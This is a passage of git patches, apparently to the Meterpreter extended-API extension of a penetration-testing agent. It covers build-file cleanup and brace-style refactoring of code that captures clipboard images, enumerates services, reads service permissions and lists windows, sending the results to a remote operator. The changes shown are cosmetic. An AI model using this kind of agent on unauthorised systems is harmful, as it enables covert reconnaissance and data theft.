/SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NULL IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" :COPY @@ -341,11 +339,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho $(OutDir)\ext_server_extapi.lib MachineX86 false - - - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" :COPY @@ -392,11 +388,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho $(OutDir)\ext_server_extapi.lib MachineX64 false - - - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" :COPY @@ -443,11 +437,9 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho $(OutDir)\ext_server_extapi.lib MachineX64 false - - - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" :COPY From 4e0cf9d43b7ab3ad443d505b844491150ca92341 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 6 Nov 2013 19:53:37 +1000 Subject: [PATCH 16/20] Last tiday of extapi project file --- .../ext_server_extapi.vcxproj | 36 ++++--------------- 1 file changed, 6 insertions(+), 30 deletions(-) diff --git a/workspace/ext_server_extapi/ext_server_extapi.vcxproj b/workspace/ext_server_extapi/ext_server_extapi.vcxproj index 47f1c5c..782fe0a 100644 --- a/workspace/ext_server_extapi/ext_server_extapi.vcxproj +++ b/workspace/ext_server_extapi/ext_server_extapi.vcxproj @@ -54,12 +54,12 @@ DynamicLibrary - Unicode + MultiByte v120_xp DynamicLibrary - Unicode + MultiByte v120_xp @@ -76,40 +76,19 @@ DynamicLibrary - Unicode + MultiByte v120_xp DynamicLibrary - Unicode + MultiByte v120_xp - - - - - - - - - - - - - - - - - - - - - - + @@ -117,10 +96,7 @@ <_ProjectFileVersion>10.0.30319.1 $(Configuration)\$(Platform)\ $(Configuration)\$(Platform)\ - false - false - true - true + false false AllRules.ruleset From db15143bee94d3483540e6c8a74b000d73b51a4c Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 6 Nov 2013 20:07:12 +1000 Subject: [PATCH 17/20] Final fixes to previous mistake --- .../ext_server_extapi/ext_server_extapi.vcxproj | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/workspace/ext_server_extapi/ext_server_extapi.vcxproj b/workspace/ext_server_extapi/ext_server_extapi.vcxproj index 782fe0a..4d704f6 100644 --- a/workspace/ext_server_extapi/ext_server_extapi.vcxproj +++ b/workspace/ext_server_extapi/ext_server_extapi.vcxproj @@ -185,7 +185,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho MachineX64 - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" :COPY @@ -219,7 +219,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho MachineX64 - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" :COPY @@ -268,7 +268,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho false - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NULL + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NULL IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" :COPY @@ -366,7 +366,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho false - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" :COPY @@ -402,7 +402,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho false true $(OutDir)\ext_server_extapi.map - NotSet + Windows @@ -415,7 +415,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho false - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" :COPY From 9fa44180853a6e9762e4cc48042cb68a48ee0c70 Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 7 Nov 2013 06:52:16 +1000 Subject: [PATCH 18/20] Thanks to @brandont-r7 for catching the last of the issues --- workspace/ext_server_extapi/ext_server_extapi.vcxproj | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/workspace/ext_server_extapi/ext_server_extapi.vcxproj b/workspace/ext_server_extapi/ext_server_extapi.vcxproj index 4d704f6..f58a3df 100644 --- a/workspace/ext_server_extapi/ext_server_extapi.vcxproj +++ b/workspace/ext_server_extapi/ext_server_extapi.vcxproj @@ -268,7 +268,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho false - editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NULL + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" :COPY @@ -353,7 +353,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho false true $(OutDir)\ext_server_extapi.map - NotSet + Windows From 9897c73146b462555d208a0863f64fe890c539be Mon Sep 17 00:00:00 2001 From: kernelsmith Date: Thu, 14 Nov 2013 10:23:42 +0900 Subject: [PATCH 19/20] fix typo in comment --- source/extensions/extapi/extapi.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/source/extensions/extapi/extapi.h b/source/extensions/extapi/extapi.h index 6c75181..e62a373 100644 --- a/source/extensions/extapi/extapi.h +++ b/source/extensions/extapi/extapi.h @@ -1,6 +1,6 @@ /*! * @file extapi.h - * @brief Entry point and intialisation declrations for the extended API extension. + * @brief Entry point and intialisation declarations for the extended API extension. */ #ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_EXTAPI_H #define _METERPRETER_SOURCE_EXTENSION_EXTAPI_EXTAPI_H From 03c786b7a3dbfeddc205f68c77590aa777748b5a Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 14 Nov 2013 19:45:09 +1000 Subject: [PATCH 20/20] Make builds 100% clean --- source/extensions/extapi/clipboard_image.cpp | 51 ++++++--- source/extensions/extapi/extapi.c | 10 +- source/extensions/extapi/service.c | 108 ++++++++++++------- source/extensions/extapi/window.c | 21 ++-- 4 files changed, 122 insertions(+), 68 deletions(-) diff --git a/source/extensions/extapi/clipboard_image.cpp b/source/extensions/extapi/clipboard_image.cpp index 7b7978a..8781a29 100644 --- a/source/extensions/extapi/clipboard_image.cpp +++ b/source/extensions/extapi/clipboard_image.cpp @@ -32,17 +32,21 @@ DWORD get_encoder_clsid(WCHAR *mimeType, CLSID * pClsId) { UINT numEncoders; UINT size; - if (GetImageEncodersSize(&numEncoders, &size) != Ok) + if (GetImageEncodersSize(&numEncoders, &size) != Ok) { BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Unable to get encoders array size.", ERROR_FUNCTION_FAILED); + } - if (size == 0) + if (size == 0) { BREAK_WITH_ERROR("[EXTAPI CLIPIMG] No encoders found.", ERROR_FUNCTION_FAILED); + } - if ((pImageCodecInfo = (ImageCodecInfo*)malloc(size)) == NULL) + if ((pImageCodecInfo = (ImageCodecInfo*)malloc(size)) == NULL) { BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Couldn't allocate memory for ImageCodeInfo", ERROR_OUTOFMEMORY); + } - if (GetImageEncoders(numEncoders, size, pImageCodecInfo) != Ok) + if (GetImageEncoders(numEncoders, size, pImageCodecInfo) != Ok) { BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Unable to get encoders.", ERROR_FUNCTION_FAILED); + } for (UINT i = 0; i < numEncoders; ++i) { if (wcscmp(pImageCodecInfo[i].MimeType, mimeType) == 0) { @@ -56,8 +60,9 @@ DWORD get_encoder_clsid(WCHAR *mimeType, CLSID * pClsId) } } while (0); - if (pImageCodecInfo != NULL) + if (pImageCodecInfo != NULL) { free(pImageCodecInfo); + } return dwResult; } @@ -130,16 +135,19 @@ DWORD convert_to_jpg(const LPBITMAPINFO lpBI, const LPVOID lpDIB, ULONG ulQualit do { - if (GdiplusStartup(&gdiPlusToken, &gdiStartupInput, NULL) != Ok) + if (GdiplusStartup(&gdiPlusToken, &gdiStartupInput, NULL) != Ok) { BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Unable to initialize GdiPlus", ERROR_FUNCTION_FAILED); + } CLSID jpegClsid; dprintf("[EXTAPI CLIPIMG] Attempting to get the jpg class id"); - if (get_encoder_clsid(L"image/jpeg", &jpegClsid) != ERROR_SUCCESS) + if (get_encoder_clsid(L"image/jpeg", &jpegClsid) != ERROR_SUCCESS) { BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Unable to find an appropriate image encoder", ERROR_FUNCTION_FAILED); + } - if ((pBitmap = new Bitmap(lpBI, lpDIB)) == NULL) + if ((pBitmap = new Bitmap(lpBI, lpDIB)) == NULL) { BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Failed to create bitmap instance", ERROR_FUNCTION_FAILED); + } EncoderParameters encParams; encParams.Count = 1; @@ -148,27 +156,32 @@ DWORD convert_to_jpg(const LPBITMAPINFO lpBI, const LPVOID lpDIB, ULONG ulQualit encParams.Parameter[0].Type = EncoderParameterValueTypeLong; encParams.Parameter[0].Value = &ulQuality; - if (CreateStreamOnHGlobal(NULL, TRUE, &pStream) != S_OK) + if (CreateStreamOnHGlobal(NULL, TRUE, &pStream) != S_OK) { BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Failed to create stream", ERROR_FUNCTION_FAILED); + } - if (pBitmap->Save(pStream, &jpegClsid, &encParams) != Ok) + if (pBitmap->Save(pStream, &jpegClsid, &encParams) != Ok) { BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Failed to save image to stream", ERROR_FUNCTION_FAILED); + } STATSTG stat; - if (pStream->Stat(&stat, STATFLAG_NONAME) != S_OK) + if (pStream->Stat(&stat, STATFLAG_NONAME) != S_OK) { BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Failed to get image stat", ERROR_FUNCTION_FAILED); + } // if the image requires the quadpart, then we're in trouble anyway! pImage->dwImageBufferSize = stat.cbSize.LowPart; - if ((pImage->pImageBuffer = (LPBYTE)malloc(pImage->dwImageBufferSize)) == NULL) + if ((pImage->pImageBuffer = (LPBYTE)malloc(pImage->dwImageBufferSize)) == NULL) { BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Failed to allocate memory for the JPEG", ERROR_OUTOFMEMORY); + } ULARGE_INTEGER pos; LARGE_INTEGER zero; zero.QuadPart = 0; pos.QuadPart = 0; - if (pStream->Seek(zero, STREAM_SEEK_SET, &pos) != S_OK) + if (pStream->Seek(zero, STREAM_SEEK_SET, &pos) != S_OK) { BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Failed set stream position", ERROR_FUNCTION_FAILED); + } ULONG bytesRead = 0; if ((hRes = pStream->Read(pImage->pImageBuffer, pImage->dwImageBufferSize, &bytesRead) != S_OK)) { @@ -177,8 +190,9 @@ DWORD convert_to_jpg(const LPBITMAPINFO lpBI, const LPVOID lpDIB, ULONG ulQualit break; } - if (bytesRead != pImage->dwImageBufferSize) + if (bytesRead != pImage->dwImageBufferSize) { BREAK_WITH_ERROR("[EXTAPI CLIPIMG] Failed to read image data from stream", ERROR_FUNCTION_FAILED); + } } while (0); if (dwResult != ERROR_SUCCESS && pImage->pImageBuffer != NULL) { @@ -186,14 +200,17 @@ DWORD convert_to_jpg(const LPBITMAPINFO lpBI, const LPVOID lpDIB, ULONG ulQualit pImage->pImageBuffer = NULL; } - if (pStream != NULL) + if (pStream != NULL) { pStream->Release(); + } - if (pBitmap != NULL) + if (pBitmap != NULL) { delete pBitmap; + } - if (gdiPlusToken != 0) + if (gdiPlusToken != 0) { GdiplusShutdown(gdiPlusToken); + } return dwResult; } diff --git a/source/extensions/extapi/extapi.c b/source/extensions/extapi/extapi.c index 715bd31..a4c6a7d 100644 --- a/source/extensions/extapi/extapi.c +++ b/source/extensions/extapi/extapi.c @@ -36,12 +36,9 @@ Command customCommands[] = */ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) { - DWORD index; - hMetSrv = remote->hMetSrv; - for (index = 0; customCommands[index].method; index++) - command_register(&customCommands[index]); + command_register_all(customCommands); return ERROR_SUCCESS; } @@ -54,10 +51,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - DWORD index; - - for (index = 0; customCommands[index].method; index++) - command_deregister(&customCommands[index]); + command_deregister_all(customCommands); return ERROR_SUCCESS; } diff --git a/source/extensions/extapi/service.c b/source/extensions/extapi/service.c index 77ad7b0..1025662 100644 --- a/source/extensions/extapi/service.c +++ b/source/extensions/extapi/service.c @@ -84,8 +84,9 @@ DWORD request_service_enum(Remote *remote, Packet *packet) } while (0); dprintf("[EXTAPI SERVICE] Transmitting response back to caller."); - if (response) + if (response) { packet_transmit_response(dwResult, remote, response); + } return dwResult; } @@ -115,8 +116,9 @@ DWORD request_service_query(Remote *remote, Packet *packet) } lpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_ENUM_NAME); - if (!lpServiceName) + if (!lpServiceName) { BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service name parameter", ERROR_BAD_ARGUMENTS); + } dprintf("[EXTAPI SERVICE] Beginning service enumeration"); dwResult = query_service(lpServiceName, response); @@ -124,8 +126,9 @@ DWORD request_service_query(Remote *remote, Packet *packet) } while (0); dprintf("[EXTAPI SERVICE] Transmitting response back to caller."); - if (response) + if (response) { packet_transmit_response(dwResult, remote, response); + } return dwResult; } @@ -153,24 +156,29 @@ DWORD query_service(LPCSTR cpServiceName, Packet *pResponse) do { dprintf("[EXTAPI SERVICE] Loading advapi32.dll"); - if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL) + if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL) { BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to load advapi32.dll"); + } dprintf("[EXTAPI SERVICE] Searching for OpenSCManagerA"); - if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL) + if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL) { BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate OpenSCManagerA in advapi32.dll"); + } dprintf("[EXTAPI SERVICE] Searching for CloseServiceHandle"); - if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL) + if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL) { dprintf("[EXTAPI SERVICE] Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway."); + } dprintf("[EXTAPI SERVICE] Searching for OpenServiceA"); - if ((pOpenServiceA = (POPENSERVICEA)GetProcAddress(hAdvapi32, "OpenServiceA")) == NULL) + if ((pOpenServiceA = (POPENSERVICEA)GetProcAddress(hAdvapi32, "OpenServiceA")) == NULL) { BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate OpenServiceA in advapi32.dll."); + } dprintf("[EXTAPI SERVICE] Opening the Service Control manager"); - if ((scManager = pOpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL) + if ((scManager = pOpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL) { BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to open the service control manager"); + } dprintf("[EXTAPI SERVICE] Opening the Service: %s", cpServiceName); if ((scService = pOpenServiceA(scManager, cpServiceName, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL) { @@ -184,14 +192,17 @@ DWORD query_service(LPCSTR cpServiceName, Packet *pResponse) } while (0); - if (scService && pCloseServiceHandle) + if (scService && pCloseServiceHandle) { pCloseServiceHandle(scService); + } - if (scManager && pCloseServiceHandle) + if (scManager && pCloseServiceHandle) { pCloseServiceHandle(scManager); + } - if (hAdvapi32) + if (hAdvapi32) { FreeLibrary(hAdvapi32); + } return dwResult; #else @@ -226,25 +237,30 @@ DWORD enumerate_services(Packet *pResponse) do { dprintf("[EXTAPI SERVICE] Loading advapi32.dll"); - if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL) + if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL) { BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to load advapi32.dll"); + } dprintf("[EXTAPI SERVICE] Searching for OpenSCManagerA"); - if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL) + if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL) { BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate OpenSCManagerA in advapi32.dll"); + } dprintf("[EXTAPI SERVICE] Searching for CloseServiceHandle"); - if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL) + if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL) { dprintf("[EXTAPI SERVICE] Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway."); + } dprintf("[EXTAPI SERVICE] Searching for EnumServicesStatusExA"); - if ((pEnumServicesStatusExA = (PENUMSERVICESSTATUSEXA)GetProcAddress(hAdvapi32, "EnumServicesStatusExA")) == NULL) + if ((pEnumServicesStatusExA = (PENUMSERVICESSTATUSEXA)GetProcAddress(hAdvapi32, "EnumServicesStatusExA")) == NULL) { BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate EnumServicesStatusExA in advapi32.dll."); + } // TODO: add support for other machine names so that this instance can query other machines on the network. dprintf("[EXTAPI SERVICE] Opening the Service Control manager"); - if ((scManager = pOpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL) + if ((scManager = pOpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL) { BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to open the service control manager"); + } bResult = pEnumServicesStatusExA(scManager, SC_ENUM_PROCESS_INFO, SERVICE_WIN32, SERVICE_STATE_ALL, NULL, 0, &dwBytesNeeded, &dwServicesReturned, &dwResumeHandle, NULL); @@ -253,15 +269,17 @@ DWORD enumerate_services(Packet *pResponse) { pSsInfo = (ENUM_SERVICE_STATUS_PROCESSA*)malloc(dwBytesNeeded); - if (!pSsInfo) + if (!pSsInfo) { BREAK_ON_ERROR("[EXTAPI SERVICE] Out of memory"); + } bResult = pEnumServicesStatusExA(scManager, SC_ENUM_PROCESS_INFO, SERVICE_WIN32, SERVICE_STATE_ALL, (LPBYTE)pSsInfo, dwBytesNeeded, &dwBytesNeeded, &dwServicesReturned, &dwResumeHandle, NULL); } - if (!bResult) + if (!bResult) { BREAK_ON_ERROR("[EXTAPI SERVICE] Failed to enumerate services"); + } dprintf("[EXTAPI SERVICE] %s with %u entries returned", (bResult ? "succeeded" : "failed"), dwServicesReturned); @@ -274,14 +292,17 @@ DWORD enumerate_services(Packet *pResponse) } while (0); - if (pSsInfo) + if (pSsInfo) { free(pSsInfo); + } - if (scManager && pCloseServiceHandle) + if (scManager && pCloseServiceHandle) { pCloseServiceHandle(scManager); + } - if (hAdvapi32) + if (hAdvapi32) { FreeLibrary(hAdvapi32); + } return dwResult; #else @@ -352,20 +373,25 @@ DWORD get_service_config(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pRespon do { dprintf("[EXTAPI SERVICE] Searching for QueryServiceConfigA"); - if ((pQueryServiceConfigA = (PQUERYSERVICECONFIGA)GetProcAddress(hAdvapi32, "QueryServiceConfigA")) == NULL) + if ((pQueryServiceConfigA = (PQUERYSERVICECONFIGA)GetProcAddress(hAdvapi32, "QueryServiceConfigA")) == NULL) { BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate QueryServiceConfigA in advapi32.dll."); + } - if (pQueryServiceConfigA(scService, NULL, 0, &cbBytesNeeded)) + if (pQueryServiceConfigA(scService, NULL, 0, &cbBytesNeeded)) { BREAK_ON_ERROR("[EXTAPI SERVICE] This query should have failed"); + } - if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) + if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) { BREAK_ON_ERROR("[EXTAPI SERVICE] Unexpected error from QueryServiceConfigA"); + } - if ((lpServiceConfig = (LPQUERY_SERVICE_CONFIGA)malloc(cbBytesNeeded)) == NULL) + if ((lpServiceConfig = (LPQUERY_SERVICE_CONFIGA)malloc(cbBytesNeeded)) == NULL) { BREAK_ON_ERROR("[EXTAPI SERVICE] Out of memory"); + } - if (!pQueryServiceConfigA(scService, lpServiceConfig, cbBytesNeeded, &cbBytesNeeded)) + if (!pQueryServiceConfigA(scService, lpServiceConfig, cbBytesNeeded, &cbBytesNeeded)) { BREAK_ON_ERROR("[EXTAPI SERVICE] QueryServiceConfigA failed"); + } dprintf("[EXTAPI SERVICE] Start type: %u", lpServiceConfig->dwStartType); packet_add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTTYPE, lpServiceConfig->dwStartType); @@ -377,8 +403,9 @@ DWORD get_service_config(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pRespon } while (0); - if (lpServiceConfig) + if (lpServiceConfig) { free(lpServiceConfig); + } return dwResult; } @@ -404,37 +431,46 @@ DWORD get_service_dacl(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse do { dprintf("[EXTAPI SERVICE] Searching for QueryServiceObjectSecurity"); - if ((pQueryServiceObjectSecurity = (PQUERYSERVICEOBJECTSECURITY)GetProcAddress(hAdvapi32, "QueryServiceObjectSecurity")) == NULL) + if ((pQueryServiceObjectSecurity = (PQUERYSERVICEOBJECTSECURITY)GetProcAddress(hAdvapi32, "QueryServiceObjectSecurity")) == NULL) { BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate QueryServiceObjectSecurity in advapi32.dll."); + } dprintf("[EXTAPI SERVICE] Searching for ConvertSecurityDescriptorToStringSecurityDescriptorA"); - if ((pCSDTSSDA = (PCSDTSSDA)GetProcAddress(hAdvapi32, "ConvertSecurityDescriptorToStringSecurityDescriptorA")) == NULL) + if ((pCSDTSSDA = (PCSDTSSDA)GetProcAddress(hAdvapi32, "ConvertSecurityDescriptorToStringSecurityDescriptorA")) == NULL) { BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate ConvertSecurityDescriptorToStringSecurityDescriptorA in advapi32.dll."); + } - if (pQueryServiceObjectSecurity(scService, DACL_SECURITY_INFORMATION, (PSECURITY_DESCRIPTOR)&pSecurityDescriptor, 0, &dwBytesNeeded)) + if (pQueryServiceObjectSecurity(scService, DACL_SECURITY_INFORMATION, (PSECURITY_DESCRIPTOR)&pSecurityDescriptor, 0, &dwBytesNeeded)) { BREAK_ON_ERROR("[EXTAPI SERVICE] Call should have failed"); + } - if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) + if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) { BREAK_ON_ERROR("[EXTAPI SERVICE] Unexpected error getting security"); + } - if ((pSecurityDescriptor = (PSECURITY_DESCRIPTOR)malloc(dwBytesNeeded)) == NULL) + if ((pSecurityDescriptor = (PSECURITY_DESCRIPTOR)malloc(dwBytesNeeded)) == NULL) { BREAK_WITH_ERROR("[EXTAPI SERVICE] Out of memory", ERROR_OUTOFMEMORY); + } - if (!pQueryServiceObjectSecurity(scService, DACL_SECURITY_INFORMATION, pSecurityDescriptor, dwBytesNeeded, &dwBytesNeeded)) + if (!pQueryServiceObjectSecurity(scService, DACL_SECURITY_INFORMATION, pSecurityDescriptor, dwBytesNeeded, &dwBytesNeeded)) { BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to query security information for DACL_SECURITY_INFORMATION"); + } - if (!pCSDTSSDA(pSecurityDescriptor, SDDL_REVISION_1, DACL_SECURITY_INFORMATION, &lpDaclString, NULL)) + if (!pCSDTSSDA(pSecurityDescriptor, SDDL_REVISION_1, DACL_SECURITY_INFORMATION, &lpDaclString, NULL)) { BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to get DACL string"); + } packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DACL, lpDaclString); } while (0); - if (lpDaclString) + if (lpDaclString) { LocalFree(lpDaclString); + } - if (pSecurityDescriptor) + if (pSecurityDescriptor) { free(pSecurityDescriptor); + } return dwResult; } diff --git a/source/extensions/extapi/window.c b/source/extensions/extapi/window.c index fd94901..33ef553 100644 --- a/source/extensions/extapi/window.c +++ b/source/extensions/extapi/window.c @@ -91,17 +91,20 @@ DWORD enumerate_windows(Packet *response, BOOL bIncludeUnknown, QWORD parentWind do { dprintf("[EXTAPI WINDOW] Loading user32.dll"); - if ((hUser32 = LoadLibraryA("user32.dll")) == NULL) + if ((hUser32 = LoadLibraryA("user32.dll")) == NULL) { BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to load user32.dll"); + } dprintf("[EXTAPI WINDOW] Searching for GetWindowTextA"); - if ((state.pGetWindowTextA = (PGETWINDOWTEXA)GetProcAddress(hUser32, "GetWindowTextA")) == NULL) + if ((state.pGetWindowTextA = (PGETWINDOWTEXA)GetProcAddress(hUser32, "GetWindowTextA")) == NULL) { BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to locate GetWindowTextA in user32.dll"); + } dprintf("[EXTAPI WINDOW] Found GetWindowTextA %p", state.pGetWindowTextA); dprintf("[EXTAPI WINDOW] Searching for GetWindowThreadProcessId"); - if ((state.pGetWindowThreadProcessId = (PGETWINDOWTHREADPROCESSID)GetProcAddress(hUser32, "GetWindowThreadProcessId")) == NULL) + if ((state.pGetWindowThreadProcessId = (PGETWINDOWTHREADPROCESSID)GetProcAddress(hUser32, "GetWindowThreadProcessId")) == NULL) { BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to locate GetWindowThreadProcessId in user32.dll"); + } dprintf("[EXTAPI WINDOW] Found GetWindowThreadProcessId %p", state.pGetWindowThreadProcessId); @@ -109,18 +112,21 @@ DWORD enumerate_windows(Packet *response, BOOL bIncludeUnknown, QWORD parentWind state.bIncludeUnknown = bIncludeUnknown; dprintf("[EXTAPI WINDOW] Searching for EnumChildWindows"); - if ((pEnumChildWindows = (PENUMCHILDWINDOWS)GetProcAddress(hUser32, "EnumChildWindows")) == NULL) + if ((pEnumChildWindows = 